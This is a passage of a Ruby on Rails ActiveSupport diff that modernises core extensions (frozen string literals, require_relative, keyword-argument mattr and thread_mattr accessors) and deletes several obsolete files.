+  #   hash                  # => {:c=>3, :d=>4}
   def extract!(*keys)
     keys.each_with_object(self.class.new) { |key, result| result[key] = delete(key) if has_key?(key) }
   end
diff --git a/activesupport/lib/active_support/core_ext/hash/transform_values.rb b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
deleted file mode 100644
index 2f693bff0c89e..0000000000000
--- a/activesupport/lib/active_support/core_ext/hash/transform_values.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class Hash
-  # Returns a new hash with the results of running +block+ once for every value.
-  # The keys are unchanged.
-  #
-  #   { a: 1, b: 2, c: 3 }.transform_values { |x| x * 2 } # => { a: 2, b: 4, c: 6 }
-  #
-  # If you do not provide a +block+, it will return an Enumerator
-  # for chaining with other methods:
-  #
-  #   { a: 1, b: 2 }.transform_values.with_index { |v, i| [v, i].join.to_i } # => { a: 10, b: 21 }
-  def transform_values
-    return enum_for(:transform_values) { size } unless block_given?
-    return {} if empty?
-    result = self.class.new
-    each do |key, value|
-      result[key] = yield(value)
-    end
-    result
-  end unless method_defined? :transform_values
-
-  # Destructively converts all values using the +block+ operations.
-  # Same as +transform_values+ but modifies +self+.
-  def transform_values!
-    return enum_for(:transform_values!) { size } unless block_given?
-    each do |key, value|
-      self[key] = yield(value)
-    end
-  end unless method_defined? :transform_values!
-  # TODO: Remove this file when supporting only Ruby 2.4+.
-end
diff --git a/activesupport/lib/active_support/core_ext/integer.rb b/activesupport/lib/active_support/core_ext/integer.rb
index 8f0c55f9d3172..df80e7ffdba70 100644
--- a/activesupport/lib/active_support/core_ext/integer.rb
+++ b/activesupport/lib/active_support/core_ext/integer.rb
@@ -1,3 +1,5 @@
-require "active_support/core_ext/integer/multiple"
-require "active_support/core_ext/integer/inflections"
-require "active_support/core_ext/integer/time"
+# frozen_string_literal: true
+
+require_relative "integer/multiple"
+require_relative "integer/inflections"
+require_relative "integer/time"
diff --git a/activesupport/lib/active_support/core_ext/integer/inflections.rb b/activesupport/lib/active_support/core_ext/integer/inflections.rb
index bc21b655337b0..c987990234344 100644
--- a/activesupport/lib/active_support/core_ext/integer/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/integer/inflections.rb
@@ -1,15 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/inflector"
 
 class Integer
   # Ordinalize turns a number into an ordinal string used to denote the
   # position in an ordered sequence such as 1st, 2nd, 3rd, 4th.
   #
-  #  1.ordinalize     # => "1st"
-  #  2.ordinalize     # => "2nd"
-  #  1002.ordinalize  # => "1002nd"
-  #  1003.ordinalize  # => "1003rd"
-  #  -11.ordinalize   # => "-11th"
-  #  -1001.ordinalize # => "-1001st"
+  #   1.ordinalize     # => "1st"
+  #   2.ordinalize     # => "2nd"
+  #   1002.ordinalize  # => "1002nd"
+  #   1003.ordinalize  # => "1003rd"
+  #   -11.ordinalize   # => "-11th"
+  #   -1001.ordinalize # => "-1001st"
   def ordinalize
     ActiveSupport::Inflector.ordinalize(self)
   end
@@ -17,12 +19,12 @@ def ordinalize
   # Ordinal returns the suffix used to denote the position
   # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
   #
-  #  1.ordinal     # => "st"
-  #  2.ordinal     # => "nd"
-  #  1002.ordinal  # => "nd"
-  #  1003.ordinal  # => "rd"
-  #  -11.ordinal   # => "th"
-  #  -1001.ordinal # => "st"
+  #   1.ordinal     # => "st"
+  #   2.ordinal     # => "nd"
+  #   1002.ordinal  # => "nd"
+  #   1003.ordinal  # => "rd"
+  #   -11.ordinal   # => "th"
+  #   -1001.ordinal # => "st"
   def ordinal
     ActiveSupport::Inflector.ordinal(self)
   end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
index c668c7c2ebbbf..bd57a909c55b3 100644
--- a/activesupport/lib/active_support/core_ext/integer/multiple.rb
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Integer
   # Check whether the integer is evenly divisible by the argument.
   #
@@ -5,6 +7,6 @@ class Integer
   #   6.multiple_of?(5)  # => false
   #   10.multiple_of?(2) # => true
   def multiple_of?(number)
-    number != 0 ? self % number == 0 : zero?
+    number == 0 ? self == 0 : self % number == 0
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb
index 74baae3639444..5efb89cf9f8f5 100644
--- a/activesupport/lib/active_support/core_ext/integer/time.rb
+++ b/activesupport/lib/active_support/core_ext/integer/time.rb
@@ -1,27 +1,20 @@
+# frozen_string_literal: true
+
 require "active_support/duration"
 require "active_support/core_ext/numeric/time"
 
 class Integer
-  # Enables the use of time calculations and declarations, like <tt>45.minutes +
-  # 2.hours + 4.years</tt>.
-  #
-  # These methods use Time#advance for precise date calculations when using
-  # <tt>from_now</tt>, +ago+, etc. as well as adding or subtracting their
-  # results from a Time object.
-  #
-  #   # equivalent to Time.now.advance(months: 1)
-  #   1.month.from_now
+  # Returns a Duration instance matching the number of months provided.
   #
-  #   # equivalent to Time.now.advance(years: 2)
-  #   2.years.from_now
-  #
-  #   # equivalent to Time.now.advance(months: 4, years: 5)
-  #   (4.months + 5.years).from_now
+  #   2.months # => 2 months
   def months
     ActiveSupport::Duration.months(self)
   end
   alias :month :months
 
+  # Returns a Duration instance matching the number of years provided.
+  #
+  #   2.years # => 2 years
   def years
     ActiveSupport::Duration.years(self)
   end
diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb
index 3d41ff7876363..55a44fdef9dc4 100644
--- a/activesupport/lib/active_support/core_ext/kernel.rb
+++ b/activesupport/lib/active_support/core_ext/kernel.rb
@@ -1,4 +1,5 @@
-require "active_support/core_ext/kernel/agnostics"
-require "active_support/core_ext/kernel/concern"
-require "active_support/core_ext/kernel/reporting"
-require "active_support/core_ext/kernel/singleton_class"
+# frozen_string_literal: true
+
+require_relative "kernel/concern"
+require_relative "kernel/reporting"
+require_relative "kernel/singleton_class"
diff --git a/activesupport/lib/active_support/core_ext/kernel/agnostics.rb b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
deleted file mode 100644
index 64837d87aaab9..0000000000000
--- a/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Object
-  # Makes backticks behave (somewhat more) similarly on all platforms.
-  # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
-  # spawned shell prints a message to stderr and sets $?. We emulate
-  # Unix on the former but not the latter.
-  def `(command) #:nodoc:
-    super
-  rescue Errno::ENOENT => e
-    STDERR.puts "#$0: #{e}"
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/kernel/concern.rb b/activesupport/lib/active_support/core_ext/kernel/concern.rb
index 307a7f7a63dd8..0b2baed78073a 100644
--- a/activesupport/lib/active_support/core_ext/kernel/concern.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/concern.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/concerning"
 
 module Kernel
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index c02618d5f39dd..1ae1ae8e48574 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Kernel
   module_function
 
@@ -9,14 +11,14 @@ module Kernel
   #   end
   #
   #   noisy_call # warning voiced
-  def silence_warnings
-    with_warnings(nil) { yield }
+  def silence_warnings(&block)
+    with_warnings(nil, &block)
   end
 
   # Sets $VERBOSE to +true+ for the duration of the block and back to its
   # original value afterwards.
-  def enable_warnings
-    with_warnings(true) { yield }
+  def enable_warnings(&block)
+    with_warnings(true, &block)
   end
 
   # Sets $VERBOSE for the duration of the block and back to its original
diff --git a/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
index 9bbf1bbd7362c..31335b68f6e45 100644
--- a/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 module Kernel
-  # class_eval on an object acts like singleton_class.class_eval.
+  # class_eval on an object acts like +singleton_class.class_eval+.
   def class_eval(*args, &block)
     singleton_class.class_eval(*args, &block)
   end
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
index d273487010136..03df2ddac4268 100644
--- a/activesupport/lib/active_support/core_ext/load_error.rb
+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -1,14 +1,9 @@
-class LoadError
-  REGEXPS = [
-    /^no such file to load -- (.+)$/i,
-    /^Missing \w+ (?:file\s*)?([^\s]+.rb)$/i,
-    /^Missing API definition file in (.+)$/i,
-    /^cannot load such file -- (.+)$/i,
-  ]
+# frozen_string_literal: true
 
+class LoadError
   # Returns true if the given path name (except perhaps for the ".rb"
   # extension) is the missing file which caused the exception to be raised.
   def is_missing?(location)
-    location.sub(/\.rb$/, "".freeze) == path.sub(/\.rb$/, "".freeze)
+    location.delete_suffix(".rb") == path.to_s.delete_suffix(".rb")
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/marshal.rb b/activesupport/lib/active_support/core_ext/marshal.rb
deleted file mode 100644
index edfc8296fe3c0..0000000000000
--- a/activesupport/lib/active_support/core_ext/marshal.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module ActiveSupport
-  module MarshalWithAutoloading # :nodoc:
-    def load(source)
-      super(source)
-    rescue ArgumentError, NameError => exc
-      if exc.message.match(%r|undefined class/module (.+?)(?:::)?\z|)
-        # try loading the class/module
-        loaded = $1.constantize
-
-        raise unless $1 == loaded.name
-
-        # if it is an IO we need to go back to read the object
-        source.rewind if source.respond_to?(:rewind)
-        retry
-      else
-        raise exc
-      end
-    end
-  end
-end
-
-Marshal.singleton_class.prepend(ActiveSupport::MarshalWithAutoloading)
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index 2930255557262..9a30fe2727730 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -1,11 +1,13 @@
-require "active_support/core_ext/module/aliasing"
-require "active_support/core_ext/module/introspection"
-require "active_support/core_ext/module/anonymous"
-require "active_support/core_ext/module/reachable"
-require "active_support/core_ext/module/attribute_accessors"
-require "active_support/core_ext/module/attribute_accessors_per_thread"
-require "active_support/core_ext/module/attr_internal"
-require "active_support/core_ext/module/concerning"
-require "active_support/core_ext/module/delegation"
-require "active_support/core_ext/module/deprecation"
-require "active_support/core_ext/module/remove_method"
+# frozen_string_literal: true
+
+require_relative "module/aliasing"
+require_relative "module/introspection"
+require_relative "module/anonymous"
+require_relative "module/attribute_accessors"
+require_relative "module/attribute_accessors_per_thread"
+require_relative "module/attr_internal"
+require_relative "module/concerning"
+require_relative "module/delegation"
+require_relative "module/deprecation"
+require_relative "module/redefine_method"
+require_relative "module/remove_method"
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
index c48bd3354a5f7..cdc57336aa16c 100644
--- a/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Module
   # Allows you to make aliases for attributes, which includes
   # getter, setter, and a predicate.
@@ -20,10 +22,10 @@ def alias_attribute(new_name, old_name)
     # The following reader methods use an explicit `self` receiver in order to
     # support aliases that start with an uppercase letter. Otherwise, they would
     # be resolved as constants instead.
-    module_eval <<-STR, __FILE__, __LINE__ + 1
+    module_eval <<~RUBY, __FILE__, __LINE__ + 1
       def #{new_name}; self.#{old_name}; end          # def subject; self.title; end
       def #{new_name}?; self.#{old_name}?; end        # def subject?; self.title?; end
       def #{new_name}=(v); self.#{old_name} = v; end  # def subject=(v); self.title = v; end
-    STR
+    RUBY
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/anonymous.rb b/activesupport/lib/active_support/core_ext/module/anonymous.rb
index 510c9a5430db5..d1c86b8722d51 100644
--- a/activesupport/lib/active_support/core_ext/module/anonymous.rb
+++ b/activesupport/lib/active_support/core_ext/module/anonymous.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Module
   # A module may or may not have a name.
   #
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
index 5081d5f7a3b7b..ecf57d8a4dc9d 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Module
   # Declares an attribute reader backed by an internally-named instance variable.
   def attr_internal_reader(*attrs)
@@ -17,18 +19,28 @@ def attr_internal_accessor(*attrs)
   end
   alias_method :attr_internal, :attr_internal_accessor
 
-  class << self; attr_accessor :attr_internal_naming_format end
-  self.attr_internal_naming_format = "@_%s"
+  class << self
+    attr_reader :attr_internal_naming_format
 
-  private
-    def attr_internal_ivar_name(attr)
-      Module.attr_internal_naming_format % attr
+    def attr_internal_naming_format=(format)
+      if format.start_with?("@")
+        raise ArgumentError, <<~MESSAGE.squish
+          Setting `attr_internal_naming_format` with a `@` prefix is not supported.
+
+          You can simply replace #{format.inspect} by #{format.delete_prefix("@").inspect}.
+        MESSAGE
+      end
+
+      @attr_internal_naming_format = format
     end
+  end
+  self.attr_internal_naming_format = "_%s"
 
+  private
     def attr_internal_define(attr_name, type)
-      internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, "")
+      internal_name = Module.attr_internal_naming_format % attr_name
       # use native attr_* methods as they are faster on some Ruby implementations
-      send("attr_#{type}", internal_name)
+      public_send("attr_#{type}", internal_name)
       attr_name, internal_name = "#{attr_name}=", "#{internal_name}=" if type == :writer
       alias_method attr_name, internal_name
       remove_method internal_name
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 2c24081eb921d..8511e0f92517d 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,6 +1,7 @@
-require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/regexp"
+# frozen_string_literal: true
 
+# == Attribute Accessors
+#
 # Extends the module object with class/module and instance accessors for
 # class/module attributes, just like the native attr* accessors for instance
 # attributes.
@@ -25,7 +26,7 @@ class Module
   #   end
   #   # => NameError: invalid attribute name: 1_Badname
   #
-  # If you want to opt out the creation on the instance reader method, pass
+  # To omit the instance reader method, pass
   # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
   #
   #   module HairColors
@@ -38,13 +39,11 @@ class Module
   #
   #   Person.new.hair_colors # => NoMethodError
   #
-  #
-  # Also, you can pass a block to set up the attribute with a default value.
+  # You can set a default value for the attribute.
   #
   #   module HairColors
-  #     mattr_reader :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
+  #     mattr_reader :hair_colors, default: [:brown, :black, :blonde, :red]
+  #     mattr_reader(:hair_styles) { [:long, :short] }
   #   end
   #
   #   class Person
@@ -52,27 +51,26 @@ class Module
   #   end
   #
   #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
-  def mattr_reader(*syms)
-    options = syms.extract_options!
+  #   Person.new.hair_styles # => [:long, :short]
+  def mattr_reader(*syms, instance_reader: true, instance_accessor: true, default: nil, location: nil)
+    raise TypeError, "module attributes should be defined directly on class, not singleton" if singleton_class?
+    location ||= caller_locations(1, 1).first
+
+    definition = []
     syms.each do |sym|
       raise NameError.new("invalid attribute name: #{sym}") unless /\A[_A-Za-z]\w*\z/.match?(sym)
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        @@#{sym} = nil unless defined? @@#{sym}
 
-        def self.#{sym}
-          @@#{sym}
-        end
-      EOS
+      definition << "def self.#{sym}; @@#{sym}; end"
 
-      unless options[:instance_reader] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}
-            @@#{sym}
-          end
-        EOS
+      if instance_reader && instance_accessor
+        definition << "def #{sym}; @@#{sym}; end"
       end
-      class_variable_set("@@#{sym}", yield) if block_given?
+
+      sym_default_value = (block_given? && default.nil?) ? yield : default
+      class_variable_set("@@#{sym}", sym_default_value) unless sym_default_value.nil? && class_variable_defined?("@@#{sym}")
     end
+
+    module_eval(definition.join(";"), location.path, location.lineno)
   end
   alias :cattr_reader :mattr_reader
 
@@ -94,7 +92,7 @@ def #{sym}
   #   Person.new.hair_colors = [:blonde, :red]
   #   HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
   #
-  # If you want to opt out the instance writer method, pass
+  # To omit the instance writer method, pass
   # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
   #
   #   module HairColors
@@ -107,12 +105,11 @@ def #{sym}
   #
   #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
   #
-  # Also, you can pass a block to set up the attribute with a default value.
+  # You can set a default value for the attribute.
   #
   #   module HairColors
-  #     mattr_writer :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
+  #     mattr_writer :hair_colors, default: [:brown, :black, :blonde, :red]
+  #     mattr_writer(:hair_styles) { [:long, :short] }
   #   end
   #
   #   class Person
@@ -120,27 +117,25 @@ def #{sym}
   #   end
   #
   #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
-  def mattr_writer(*syms)
-    options = syms.extract_options!
+  #   Person.class_variable_get("@@hair_styles") # => [:long, :short]
+  def mattr_writer(*syms, instance_writer: true, instance_accessor: true, default: nil, location: nil)
+    raise TypeError, "module attributes should be defined directly on class, not singleton" if singleton_class?
+    location ||= caller_locations(1, 1).first
+
+    definition = []
     syms.each do |sym|
       raise NameError.new("invalid attribute name: #{sym}") unless /\A[_A-Za-z]\w*\z/.match?(sym)
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        @@#{sym} = nil unless defined? @@#{sym}
-
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-      EOS
+      definition << "def self.#{sym}=(val); @@#{sym} = val; end"
 
-      unless options[:instance_writer] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}=(obj)
-            @@#{sym} = obj
-          end
-        EOS
+      if instance_writer && instance_accessor
+        definition << "def #{sym}=(val); @@#{sym} = val; end"
       end
-      send("#{sym}=", yield) if block_given?
+
+      sym_default_value = (block_given? && default.nil?) ? yield : default
+      class_variable_set("@@#{sym}", sym_default_value) unless sym_default_value.nil? && class_variable_defined?("@@#{sym}")
     end
+
+    module_eval(definition.join(";"), location.path, location.lineno)
   end
   alias :cattr_writer :mattr_writer
 
@@ -164,14 +159,14 @@ def #{sym}=(obj)
   # parent class. Similarly if parent class changes the value then that would
   # change the value of subclasses too.
   #
-  #   class Male < Person
+  #   class Citizen < Person
   #   end
   #
-  #   Male.new.hair_colors << :blue
+  #   Citizen.new.hair_colors << :blue
   #   Person.new.hair_colors # => [:brown, :black, :blonde, :red, :blue]
   #
-  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
-  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  # To omit the instance writer method, pass <tt>instance_writer: false</tt>.
+  # To omit the instance reader method, pass <tt>instance_reader: false</tt>.
   #
   #   module HairColors
   #     mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
@@ -184,7 +179,7 @@ def #{sym}=(obj)
   #   Person.new.hair_colors = [:brown]  # => NoMethodError
   #   Person.new.hair_colors             # => NoMethodError
   #
-  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  # Or pass <tt>instance_accessor: false</tt>, to omit both instance methods.
   #
   #   module HairColors
   #     mattr_accessor :hair_colors, instance_accessor: false
@@ -197,12 +192,11 @@ def #{sym}=(obj)
   #   Person.new.hair_colors = [:brown]  # => NoMethodError
   #   Person.new.hair_colors             # => NoMethodError
   #
-  # Also you can pass a block to set up the attribute with a default value.
+  # You can set a default value for the attribute.
   #
   #   module HairColors
-  #     mattr_accessor :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
+  #     mattr_accessor :hair_colors, default: [:brown, :black, :blonde, :red]
+  #     mattr_accessor(:hair_styles) { [:long, :short] }
   #   end
   #
   #   class Person
@@ -210,9 +204,11 @@ def #{sym}=(obj)
   #   end
   #
   #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
-  def mattr_accessor(*syms, &blk)
-    mattr_reader(*syms, &blk)
-    mattr_writer(*syms)
+  #   Person.class_variable_get("@@hair_styles") # => [:long, :short]
+  def mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil, &blk)
+    location = caller_locations(1, 1).first
+    mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default, location: location, &blk)
+    mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor, default: default, location: location)
   end
   alias :cattr_accessor :mattr_accessor
 end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb
index 1e82b4acc252e..fd3db525fd521 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb
@@ -1,12 +1,16 @@
-require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/regexp"
+# frozen_string_literal: true
 
+# == Attribute Accessors per Thread
+#
 # Extends the module object with class/module and instance accessors for
 # class/module attributes, just like the native attr* accessors for instance
 # attributes, but does so on a per-thread basis.
 #
 # So the values are scoped within the Thread.current space under the class name
 # of the module.
+#
+# Note that it can also be scoped per-fiber if +Rails.application.config.active_support.isolation_level+
+# is set to +:fiber+.
 class Module
   # Defines a per-thread class attribute and creates class and instance reader methods.
   # The underlying per-thread class variable is set to +nil+, if it is not previously defined.
@@ -15,9 +19,9 @@ class Module
   #     thread_mattr_reader :user
   #   end
   #
-  #   Current.user # => nil
-  #   Thread.current[:attr_Current_user] = "DHH"
+  #   Current.user = "DHH"
   #   Current.user # => "DHH"
+  #   Thread.new { Current.user }.value # => nil
   #
   # The attribute name must be a valid method name in Ruby.
   #
@@ -26,7 +30,7 @@ class Module
   #   end
   #   # => NameError: invalid attribute name: 1_Badname
   #
-  # If you want to opt out of the creation of the instance reader method, pass
+  # To omit the instance reader method, pass
   # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
   #
   #   class Current
@@ -34,26 +38,43 @@ class Module
   #   end
   #
   #   Current.new.user # => NoMethodError
-  def thread_mattr_reader(*syms) # :nodoc:
-    options = syms.extract_options!
-
+  def thread_mattr_reader(*syms, instance_reader: true, instance_accessor: true, default: nil) # :nodoc:
     syms.each do |sym|
       raise NameError.new("invalid attribute name: #{sym}") unless /^[_A-Za-z]\w*$/.match?(sym)
 
-      # The following generated method concatenates `name` because we want it
-      # to work with inheritance via polymorphism.
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        def self.#{sym}
-          Thread.current["attr_" + name + "_#{sym}"]
-        end
-      EOS
+      # The following generated method concatenates `object_id` because we want
+      # subclasses to maintain independent values.
+      if default.nil?
+        class_eval(<<~RUBY, __FILE__, __LINE__ + 1)
+          def self.#{sym}
+            @__thread_mattr_#{sym} ||= "attr_#{sym}_\#{object_id}"
+            ::ActiveSupport::IsolatedExecutionState[@__thread_mattr_#{sym}]
+          end
+        RUBY
+      else
+        default = default.dup.freeze unless default.frozen?
+        singleton_class.define_method("#{sym}_default_value") { default }
 
-      unless options[:instance_reader] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        class_eval(<<~RUBY, __FILE__, __LINE__ + 1)
+          def self.#{sym}
+            @__thread_mattr_#{sym} ||= "attr_#{sym}_\#{object_id}"
+            value = ::ActiveSupport::IsolatedExecutionState[@__thread_mattr_#{sym}]
+
+            if value.nil? && !::ActiveSupport::IsolatedExecutionState.key?(@__thread_mattr_#{sym})
+              ::ActiveSupport::IsolatedExecutionState[@__thread_mattr_#{sym}] = #{sym}_default_value
+            else
+              value
+            end
+          end
+        RUBY
+      end
+
+      if instance_reader && instance_accessor
+        class_eval(<<~RUBY, __FILE__, __LINE__ + 1)
           def #{sym}
             self.class.#{sym}
           end
-        EOS
+        RUBY
       end
     end
   end
@@ -69,7 +90,7 @@ def #{sym}
   #   Current.user = "DHH"
   #   Thread.current[:attr_Current_user] # => "DHH"
   #
-  # If you want to opt out of the creation of the instance writer method, pass
+  # To omit the instance writer method, pass
   # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
   #
   #   class Current
@@ -77,25 +98,25 @@ def #{sym}
   #   end
   #
   #   Current.new.user = "DHH" # => NoMethodError
-  def thread_mattr_writer(*syms) # :nodoc:
-    options = syms.extract_options!
+  def thread_mattr_writer(*syms, instance_writer: true, instance_accessor: true) # :nodoc:
     syms.each do |sym|
       raise NameError.new("invalid attribute name: #{sym}") unless /^[_A-Za-z]\w*$/.match?(sym)
 
-      # The following generated method concatenates `name` because we want it
-      # to work with inheritance via polymorphism.
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+      # The following generated method concatenates `object_id` because we want
+      # subclasses to maintain independent values.
+      class_eval(<<~RUBY, __FILE__, __LINE__ + 1)
         def self.#{sym}=(obj)
-          Thread.current["attr_" + name + "_#{sym}"] = obj
+          @__thread_mattr_#{sym} ||= "attr_#{sym}_\#{object_id}"
+          ::ActiveSupport::IsolatedExecutionState[@__thread_mattr_#{sym}] = obj
         end
-      EOS
+      RUBY
 
-      unless options[:instance_writer] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+      if instance_writer && instance_accessor
+        class_eval(<<~RUBY, __FILE__, __LINE__ + 1)
           def #{sym}=(obj)
             self.class.#{sym} = obj
           end
-        EOS
+        RUBY
       end
     end
   end
@@ -111,19 +132,21 @@ def #{sym}=(obj)
   #   Account.user     # => "DHH"
   #   Account.new.user # => "DHH"
   #
+  # Unlike +mattr_accessor+, values are *not* shared with subclasses or parent classes.
   # If a subclass changes the value, the parent class' value is not changed.
-  # Similarly, if the parent class changes the value, the value of subclasses
-  # is not changed.
+  # If the parent class changes the value, the value of subclasses is not changed.
   #
   #   class Customer < Account
   #   end
   #
-  #   Customer.user = "Rafael"
-  #   Customer.user # => "Rafael"
-  #   Account.user  # => "DHH"
+  #   Account.user   # => "DHH"
+  #   Customer.user  # => nil
+  #   Customer.user  = "Rafael"
+  #   Customer.user  # => "Rafael"
+  #   Account.user   # => "DHH"
   #
-  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
-  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  # To omit the instance writer method, pass <tt>instance_writer: false</tt>.
+  # To omit the instance reader method, pass <tt>instance_reader: false</tt>.
   #
   #   class Current
   #     thread_mattr_accessor :user, instance_writer: false, instance_reader: false
@@ -132,17 +155,21 @@ def #{sym}=(obj)
   #   Current.new.user = "DHH"  # => NoMethodError
   #   Current.new.user          # => NoMethodError
   #
-  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  # Or pass <tt>instance_accessor: false</tt>, to omit both instance methods.
   #
   #   class Current
-  #     mattr_accessor :user, instance_accessor: false
+  #     thread_mattr_accessor :user, instance_accessor: false
   #   end
   #
   #   Current.new.user = "DHH"  # => NoMethodError
   #   Current.new.user          # => NoMethodError
-  def thread_mattr_accessor(*syms)
-    thread_mattr_reader(*syms)
-    thread_mattr_writer(*syms)
+  #
+  # A default value may be specified using the +:default+ option. Because
+  # multiple threads can access the default value, non-frozen default values
+  # will be <tt>dup</tt>ed and frozen.
+  def thread_mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil)
+    thread_mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default)
+    thread_mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor)
   end
   alias :thread_cattr_accessor :thread_mattr_accessor
 end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
index 97b0a382cebda..c8523201cef4b 100644
--- a/activesupport/lib/active_support/core_ext/module/concerning.rb
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support/concern"
 
 class Module
-  # = Bite-sized separation of concerns
+  # == Bite-sized separation of concerns
   #
   # We often find ourselves with a medium-sized chunk of behavior that we'd
   # like to extract, but only mix in to a single class.
@@ -16,11 +18,11 @@ class Module
   # with a comment, as a least-bad alternative. Using modules in separate files
   # means tedious sifting to get a big-picture view.
   #
-  # = Dissatisfying ways to separate small concerns
+  # == Dissatisfying ways to separate small concerns
   #
-  # == Using comments:
+  # === Using comments:
   #
-  #   class Todo
+  #   class Todo < ApplicationRecord
   #     # Other todo implementation
   #     # ...
   #
@@ -28,7 +30,6 @@ class Module
   #     has_many :events
   #
   #     before_create :track_creation
-  #     after_destroy :track_deletion
   #
   #     private
   #       def track_creation
@@ -36,11 +37,11 @@ class Module
   #       end
   #   end
   #
-  # == With an inline module:
+  # === With an inline module:
   #
